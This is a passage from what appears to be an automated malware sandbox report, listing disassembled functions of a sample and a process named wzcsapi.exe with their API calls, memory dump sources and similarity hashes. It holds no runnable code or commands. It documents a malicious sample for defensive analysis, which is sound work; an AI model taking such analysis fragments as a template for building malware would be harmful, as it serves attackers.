Instruction Fuzzy Hash: A761713A119B84CAE764CB19F45831AB7E9F389784F189115FA8D43BA8DB3DD964CF00

Function 000002616F313A74 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002616F313A9C
_set_statfp.LIBCMT ref: 000002616F313AB7
_set_statfp.LIBCMT ref: 000002616F313AD3
_set_statfp.LIBCMT ref: 000002616F313B0F

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 8b53d4e254c11de1a8615dbf3dfa432433468a61b6f385beffc11875e7a12db1
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 9611063EA10A000DF665D168E84F369306F6F6A376F0C0330A976072EADA66A871C102

Function 000002616F5A4674 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002616F5A469C
_set_statfp.LIBCMT ref: 000002616F5A46B7
_set_statfp.LIBCMT ref: 000002616F5A46D3
_set_statfp.LIBCMT ref: 000002616F5A470F

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 2501108d79f3888e06cc71753b8c3f2d6112a41ecd5402b9c3db00c8cfa5aecd
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3911823EA10B514AF65411E8E44E369115F7B593B8F1CD634ADB7076F6CE3AAC7D8200

Function 000002616F598580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002616F5985AB
_IsNonwritableInCurrentImage.LIBCMT ref: 000002616F598642
RtlUnwindEx.NTDLL ref: 000002616F59869C

Strings

csm, xrefs: 000002616F598629

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: a73d6da13a4f776946359a1131cded815efbbf00880d5c852d1789b80240eaac
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: 4751E33A3196808EDB58CF15E448B2C339BF356B99F98C121DA5647788DB3BEC61C701

Function 000002616F59AFC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002616F59B01F
_CallSETranslator.LIBVCRUNTIME ref: 000002616F59B06B

Strings

RCC, xrefs: 000002616F59B03B
MOC, xrefs: 000002616F59B033

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: d3ffc81e7c9eb2d0887fe4fad70bfba91deec3aacd10c34b4f5a7622146221e6
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: D061F636504BC49AEB349F15E48439EB7A5F786788F088215EB9903B59CB3DD5A4CB00

Function 000002616F30A770 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002616F30A798
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002616F30A880

Strings

csm, xrefs: 000002616F30A8D2
csm, xrefs: 000002616F30A7BA

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: a47512c3927ec5e9f2943836f4348a17992453ff50a442f8eb514fcf2c3677e8
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: 92516D3A204284CEEF64CF15E44875977AAF354B94F1C8217DA9987BD5CB3AE8B1C702

Function 000002616F59B370 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002616F59B398
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002616F59B480

Strings

csm, xrefs: 000002616F59B3BA
csm, xrefs: 000002616F59B4D2

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: 42ac01cb531c62916f6067e3dc724ddba295e35a24648d9a8f779a66a45ab108
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: DA51A07A5006C09EFB68AF16D44835877AAF356B84F1CC115DA8887BD6DB3AEA70C701

Function 000002616F592F18 Relevance: 6.3, APIs: 5, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002616F592F3B
HeapAlloc.KERNEL32 ref: 000002616F592F4E
StrCmpNIW.SHLWAPI ref: 000002616F592FC3
GetProcessHeap.KERNEL32 ref: 000002616F593029
HeapFree.KERNEL32 ref: 000002616F593037

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction ID: 18fd136f73e5ee11ae86ce9cba98b9f9dd979a766c23490a43d9604cb067528c
Opcode Fuzzy Hash: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction Fuzzy Hash: 4131C539701B918AEB19DF16E54976A67AAFB45B80F0CC020DF4847B55EF36E876C340

Function 000002616F5A25C8 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002616F5A2647
WriteFile.KERNEL32 ref: 000002616F5A290F
WriteFile.KERNEL32 ref: 000002616F5A2955
GetLastError.KERNEL32 ref: 000002616F5A2A0B

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction ID: bc5f4a80b2b915d423852bfb39c7d07492d68433baf792ea3890f6095e3a2232
Opcode Fuzzy Hash: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction Fuzzy Hash: 6CD1F336704B808DE721CF7AD4483AC37BAF345B98F488216DE5D97B99DA35D86AC340

Function 000002616F5A2EF0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002616F5A300C
GetLastError.KERNEL32 ref: 000002616F5A3097

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction ID: abe44c11d89acf501ce2e136b7fe4d0fd85f96173926fd6fc08d258e6333b468
Opcode Fuzzy Hash: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction Fuzzy Hash: FF91D23A7007508DF7519F65D84A3AD6BAAB345B8CF1C8109EE0A57A94DB37DCBAC700

Function 000002616F592544 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002616F592628
StrCpyW.SHLWAPI ref: 000002616F592641

Part of subcall function 000002616F593858: StrCmpNIW.SHLWAPI ref: 000002616F593870

Strings

\\.\pipe\, xrefs: 000002616F592633

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction ID: 9963c053b1c4b88a27fa3a37d87b281491da73c656fad487628ff45ef404ef8d
Opcode Fuzzy Hash: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction Fuzzy Hash: 7971813E2007C189EB6CDF25D8583AA67AEF387784F49801ADD1953F99DE36DD258700

Function 000002616F307980 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002616F3079AB
_IsNonwritableInCurrentImage.LIBCMT ref: 000002616F307A42

Strings

csm, xrefs: 000002616F307A29

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: 66f798383c0f261320bcfdaa8d8771805ce11f3b1ecbcc944cfb9a7588e798f1
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: EB51F63A312640CEEB54CF19E44CB6D77ABF744B98F188122EE4647788DB7AE961C701

Function 000002616F30A3C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002616F30A46B

Strings

RCC, xrefs: 000002616F30A43B
MOC, xrefs: 000002616F30A433

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: ad6545dae61ee8842558d3f88f926a0feefd31a9fa4c7a7b39cb32280d527214
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: E261B076508BC48AEB60CF15F44479EB7A5F789B94F084216EBC943B99DB39E1A0CB01

Function 000002616F592338 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002616F59241E
StrCpyW.SHLWAPI ref: 000002616F592435

Strings

\\.\pipe\, xrefs: 000002616F592429

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction ID: bd71ab84907782eb694c03c37a9fbf36f4bf9213f6d75cc481459eedd77431d5
Opcode Fuzzy Hash: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction Fuzzy Hash: D1510A3A2047C089E6299E29E05C3AA679FF386750F8CC025DE4D43B99DA3BEC258740

Function 000002616F5A2C60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002616F5A2D77
GetLastError.KERNEL32 ref: 000002616F5A2D99

Strings

U, xrefs: 000002616F5A2D23

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction ID: 74420c09c56df8043ae1e9197c2c74cf7ca10d412ad5fdff1338b45d8c183519
Opcode Fuzzy Hash: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction Fuzzy Hash: 32410B76314B808ADB20DF25F8493A977A5F388784F488021EE4E87754EF3DD865C750

Function 000002616F598A58 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002616F598AA8
RaiseException.KERNEL32 ref: 000002616F598AE9

Strings

csm, xrefs: 000002616F598AD6

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction ID: c7639cc15ea8e8831390283e97a9ff838e661b2039d858bda659158deff423fc
Opcode Fuzzy Hash: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction Fuzzy Hash: 47116D36209B8082EB648F15F40425977E9F789B94F5C8221EF8D07768EF3DC965CB00

Function 000002616F591BFC Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002616F591C35
HeapAlloc.KERNEL32 ref: 000002616F591C43
GetProcessHeap.KERNEL32 ref: 000002616F591C7F
HeapFree.KERNEL32 ref: 000002616F591C8D

Part of subcall function 000002616F591534: StrCmpIW.SHLWAPI ref: 000002616F591565

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction ID: c87d3dd8ddabf890f4505f800cc9132724725d80eebd616b83e7e354a4ed5b97
Opcode Fuzzy Hash: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction Fuzzy Hash: 5D119839601B9489EB05DB56E40822977AAF78AFC0F1C8024DE4D43765DF35E862C300

Function 000002616F591268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002616F59126E
HeapAlloc.KERNEL32 ref: 000002616F59127D
GetProcessHeap.KERNEL32 ref: 000002616F591297
HeapAlloc.KERNEL32 ref: 000002616F5912A8

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: e91848b8311e3cd457e28bde7e57ffb65e00dc88e7dd92c0b69f86ed6eeea488
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 42E06D3D6017048AEB058F66D80C34A3AE6FB8AF06F08C024CD0907351DF7E98BAC750

Analysis Process: wzcsapi.exePID: 6880, Parent PID: 1408COMMON

Executed Functions

Function 00007FFAAC591485 Relevance: 3.9, Strings: 3, Instructions: 182COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC5915AB
"r, xrefs: 00007FFAAC591513
6, xrefs: 00007FFAAC5914E7

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 6$6$"r
API String ID: 0-987654822
Opcode ID: e765f713194e6d78a1db2c0cfc7cd3094b2ff5bf065d814df658bbe2717206e8
Instruction ID: e9a18d02c87f839e50d9fa8e3d70ee71ca76f7c05f88bb5a57cbee890d6383a4
Opcode Fuzzy Hash: e765f713194e6d78a1db2c0cfc7cd3094b2ff5bf065d814df658bbe2717206e8
Instruction Fuzzy Hash: 2C510861A4DA8A8FE794EB3C8459675BBD1FF59200F0581FAE08EC31A3DE199C44C781

Function 00007FFAAC5981B6 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec73483d2e1c77995a38812f798a6de55e3f93655864619fa47f6dab57ec817
Instruction ID: dd05b2e32c1295295e55e8c97d9c62b623ead45cd6345d81fb15595f69a49f43
Opcode Fuzzy Hash: aec73483d2e1c77995a38812f798a6de55e3f93655864619fa47f6dab57ec817
Instruction Fuzzy Hash: B0F19570909A8E8FEBA8DF28C8557E937E1FF55310F04826EE84DC7291DB39D9458B81

Function 00007FFAAC598F62 Relevance: .5, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74ec47f98f32fe86d967b723ca3ead349879042e54cfad5e68990f8b45ca8ea8
Instruction ID: c021c8792db43e293f808ec740979d33607b074572601093f231adbb7999e623
Opcode Fuzzy Hash: 74ec47f98f32fe86d967b723ca3ead349879042e54cfad5e68990f8b45ca8ea8
Instruction Fuzzy Hash: F9E1C570909A4E8FEB68DF28C8557E977E1FF55310F04826AE84EC7291CE79D9448BC2

Function 00007FFAAC591F35 Relevance: 6.6, Strings: 5, Instructions: 312COMMON

Download Yara Rule

Strings

/, xrefs: 00007FFAAC592027
0D, xrefs: 00007FFAAC59216C
0D, xrefs: 00007FFAAC5920CA
/, xrefs: 00007FFAAC592077
0D, xrefs: 00007FFAAC59211B

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 0D$0D$0D$/$/
API String ID: 0-87410978
Opcode ID: d94d01c1b8aaa30acb27b1ccbb058575024479f24d5b30860e57a2700e3f6aab
Instruction ID: 2bf400d4632bcbb36ecf9c85a39a225ee22bb5aa57757b2c5da937300bcc420b
Opcode Fuzzy Hash: d94d01c1b8aaa30acb27b1ccbb058575024479f24d5b30860e57a2700e3f6aab
Instruction Fuzzy Hash: A3913462E58A4A4FF758E738C855AF96BD5EF95350B0045FAE00EC72D3DD2DA90A83C0

Function 00007FFAAC594010 Relevance: 4.4, Strings: 3, Instructions: 601COMMON

Download Yara Rule

Strings

HB, xrefs: 00007FFAAC594521
r6, xrefs: 00007FFAAC59435D
0", xrefs: 00007FFAAC59431A

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 0"$HB$r6
API String ID: 0-2729165795
Opcode ID: 8676201667af84c4f023d89b5074c671f0f8976e8547dead0d7cb1fcd03e285d
Instruction ID: abebe9749ee3c3f01fd26549306df4035f2757fee913d008fdbd9eaa65da44bb
Opcode Fuzzy Hash: 8676201667af84c4f023d89b5074c671f0f8976e8547dead0d7cb1fcd03e285d
Instruction Fuzzy Hash: 16814762E1DA4A8FF759D73C84596B86BD5EF99340F0445BAE04EC32D3DE289C0A87C1

Function 00007FFAAC593490 Relevance: 4.0, Strings: 3, Instructions: 275COMMON

Download Yara Rule

Strings

HB, xrefs: 00007FFAAC594521
r6, xrefs: 00007FFAAC59435D
0", xrefs: 00007FFAAC59431A

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 0"$HB$r6
API String ID: 0-2729165795
Opcode ID: 0cb7a651c15b64b2efb84bedf3484b764fd704b237543ec0513ea8c62ab57ae1
Instruction ID: 2848e1819d6bc0468ca187bb7d1712681baae4b2882c857a4bf6ff42af7b8987
Opcode Fuzzy Hash: 0cb7a651c15b64b2efb84bedf3484b764fd704b237543ec0513ea8c62ab57ae1
Instruction Fuzzy Hash: A7811662E19A0A8FF798E73CC4466B967D5EF99350F0445B9E00FC32D2DE28AC4687C1

Function 00007FFAAC5937ED Relevance: 2.8, Strings: 2, Instructions: 274COMMON

Download Yara Rule

Strings

r6, xrefs: 00007FFAAC5939D8
(0, xrefs: 00007FFAAC5938E2

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: (0$r6
API String ID: 0-2762223451
Opcode ID: dee2fd0a0f48c9bc57ed6c332d2a96847c9667108879997cede789dd61923f47
Instruction ID: 88ce74d5a7fbd2e2db7aa50f2ad4289da24cb0cfd300354ca9c7413c8cc21776
Opcode Fuzzy Hash: dee2fd0a0f48c9bc57ed6c332d2a96847c9667108879997cede789dd61923f47
Instruction Fuzzy Hash: 7A71D671A5D91A8FF758EB2CD8596B977D5EF99310F0042BAE04EC3392DE29E80583C1

Function 00007FFAAC5911F5 Relevance: 2.6, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

r6, xrefs: 00007FFAAC59126F
8[, xrefs: 00007FFAAC591233

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 8[$r6
API String ID: 0-1231241607
Opcode ID: 34ddd125d72ff5f2a26e5f718b9a74e40683fb2caf159bab29d3b5e33d085e6a
Instruction ID: f9733e5dff33ce47f51d78c341f67860e7855dbd575997dd4206cb5940997130
Opcode Fuzzy Hash: 34ddd125d72ff5f2a26e5f718b9a74e40683fb2caf159bab29d3b5e33d085e6a
Instruction Fuzzy Hash: 11112622A4E6860FE345E7B8889A9F5BBE5DF9B21074841FAE08DC3193DD0D9C468391

Function 00007FFAAC59A2AD Relevance: 1.5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFAAC59A4E2

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 93547941ae09c79461e18aa7fce2d5032ab98264ca0d23e45cf7638c5306cf54
Instruction ID: bc0066879f2309f6ab6ce33a97e2251e3f39aa17066b77d72d7af2770fbee3b9
Opcode Fuzzy Hash: 93547941ae09c79461e18aa7fce2d5032ab98264ca0d23e45cf7638c5306cf54
Instruction Fuzzy Hash: D1813931A599598FEB58E738C499AF977E5EF49310F0441BAE00ED32D2CD2DEC468781

Function 00007FFAAC594A90 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC594ADA

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 8ab3bb0529478a23dc0acfc1531a1fa2922f3951cef09163de1b6519bd23e5dd
Instruction ID: ec0c75cd3e7b26d83767e6b86912659036ee8889371821c1858aa4374d6ce824
Opcode Fuzzy Hash: 8ab3bb0529478a23dc0acfc1531a1fa2922f3951cef09163de1b6519bd23e5dd
Instruction Fuzzy Hash: 2A712F607289068BF744B77CC45ABA9B2D6EFA8301F5445B6E40DC37E7CE2CAD428B51

